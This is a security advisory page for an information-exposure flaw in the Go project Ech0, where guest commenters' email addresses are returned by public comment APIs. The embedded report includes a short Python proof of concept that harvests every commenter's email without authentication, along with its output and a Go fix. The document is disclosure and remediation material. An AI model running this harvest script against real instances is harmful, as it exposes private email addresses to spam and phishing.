GHSA-rj4g-rqgh-rx9h: Github.com/lin snow/Ech0 Ech0 Comment Model's Email Field Vulnerability
MODERATEGHSA-rj4g-rqgh-rx9h is a MODERATE (CVSS 5.3) ech0 comment model's email field vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Github.com/lin snow/Ech0 libraries in the Go ecosystem. The issue involves ech0 comment model's email field returned on public /api/comments endpoints. Remediation is available by upgrading affected packages to version 1.4.8-0.20260503034700-cb8d7a997dd8.
GHSA-rj4g-rqgh-rx9h at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix GHSA-rj4g-rqgh-rx9h
To remediate this vulnerability, upgrade all affected Github.com/lin snow/Ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503034700-cb8d7a997dd8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lin-snow/Ech0
How to Check if You Are Affected
To determine whether your application is affected by GHSA-rj4g-rqgh-rx9h, inspect your project dependencies for Github.com/lin snow/Ech0:
inspect dependencies for github.com/lin-snow/Ech0
Analyze the terminal output to locate any version of Github.com/lin snow/Ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260503034700-cb8d7a997dd8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Github.com/lin snow/Ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-rj4g-rqgh-rx9h Affected Github.com/lin snow/Ech0 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lin-snow/Ech0
|
Go |
< 1.4.8-0.20260503034700-cb8d7a997dd8
|
1.4.8-0.20260503034700-cb8d7a997dd8
|
References
Frequently Asked Questions
What is GHSA-rj4g-rqgh-rx9h?
Which Github.com/lin snow/Ech0 versions are affected?
What version fixes GHSA-rj4g-rqgh-rx9h?
Is github.com/lin-snow/Ech0 affected?
What is the CVSS score of GHSA-rj4g-rqgh-rx9h?
What CWE is associated with GHSA-rj4g-rqgh-rx9h?
How can I check Go dependencies for GHSA-rj4g-rqgh-rx9h?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rj4g-rqgh-rx9h",
"modified" : "2026-05-07T21:16:15Z",
"published" : "2026-05-07T21:16:15Z",
"aliases" : [ ],
"summary" : "Ech0 comment model's Email field returned on public /api/comments endpoints",
"details" : "## Summary\n\nThe `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:\"email\"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:\"-\"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.\n\n## Details\n\nThe Comment model at `internal/model/comment/comment.go:33`:\n\n```go\ntype Comment struct {\n // ... \n Email string `gorm:\"size:255;not null;index\" json:\"email\"`\n IPHash string `gorm:\"size:128;index\" json:\"-\"`\n UserAgent string `gorm:\"size:512\" json:\"-\"`\n // ...\n}\n```\n\nThe `json:\"-\"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.\n\nRoutes at `internal/router/comment.go:20` and comment public-feed route:\n\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/comments\", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())\nappRouterGroup.PublicRouterGroup.GET(\"/comments/public\", middleware.NoCache(), h.CommentHandler.ListPublicComments())\n```\n\nBoth handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping.\n\nThe email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.\n\nGHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners).\n\n## Proof of Concept\n\nAnonymous caller harvests commenter emails on the default install:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# Any echo UUID from the public feed.\npub_id = requests.get(f\"{TARGET}/api/echo/page?page=1&pageSize=1\").json()[\"data\"][\"items\"][0][\"id\"]\n\n# No auth header. The response includes the raw email field.\nr = requests.get(f\"{TARGET}/api/comments\", params={\"echo_id\": pub_id})\nfor c in r.json()[\"data\"]:\n print(f\" nickname={c['nickname']!r} email={c.get('email')!r}\")\n\n# The /public variant returns recent comments across every echo.\nr = requests.get(f\"{TARGET}/api/comments/public\", params={\"limit\": 100})\nemails = {c.get(\"email\") for c in r.json()[\"data\"] if c.get(\"email\")}\nprint(f\"harvested {len(emails)} unique emails from /comments/public\")\n```\n\nObserved on v4.5.6:\n\n```\nnickname='GuestHarvestMe' email='leaked-harvest-target@example.com'\nharvested 1 unique emails from /comments/public\n```\n\nThe instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.\n\n## Impact\n\nAnonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows:\n\n- **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.\n- **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.\n- **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.\n\nNo authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance.\n\n## Recommended Fix\n\nChange the JSON tag on the Email field to match the adjacent PII fields:\n\n```go\nEmail string `gorm:\"size:255;not null;index\" json:\"-\"`\n```\n\nOr, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields:\n\n```go\ntype PublicComment struct {\n ID string `json:\"id\"`\n EchoID string `json:\"echo_id\"`\n Nickname string `json:\"nickname\"`\n Website string `json:\"website,omitempty\"`\n Content string `json:\"content\"`\n Status string `json:\"status\"`\n Hot bool `json:\"hot\"`\n Source string `json:\"source\"`\n CreatedAt int64 `json:\"created_at\"`\n UpdatedAt int64 `json:\"updated_at\"`\n}\n```\n\nProject the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lin-snow/Ech0"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.4.8-0.20260503034700-cb8d7a997dd8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-rj4g-rqgh-rx9h"
}, {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/commit/cb8d7a997dd8f573ef0e22e4e6b23b2b8ee92ebd"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lin-snow/Ech0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-359" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T21:16:15Z",
"nvd_published_at" : null
}
}